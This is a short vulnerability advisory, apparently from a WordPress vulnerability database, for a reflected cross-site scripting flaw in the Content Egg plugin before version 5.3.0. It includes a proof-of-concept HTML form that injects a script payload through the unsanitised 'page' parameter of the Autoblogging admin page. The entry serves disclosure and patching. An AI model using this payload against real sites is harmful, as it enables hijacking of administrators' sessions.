Content Egg < 5.3.0 - Reflected Cross-Site Scripting

2022-04-0600:00:00

Krzysztof Zając

content egg

cross-site scripting

vulnerability

exploit

EPSS

0.001

Percentile

40.2%

JSON

The plugin does not sanitise and escape the page parameter before outputting back in an attribute in the Autoblogging admin dashboard, leading to a Reflected Cross-Site Scripting

<html>
    <form action="https://example.com/wp-admin/admin.php?page=content-egg-autoblog" method="POST">
        <input type="text" name="page" value='"><script>alert(/XSS/);</script>'>
        <input type="submit" value="Send">
    </form>
</html>

EPSS

0.001

Percentile

40.2%

JSON

Related for WPEX-ID:071A2F69-9CD6-42A8-A56C-264A589784AB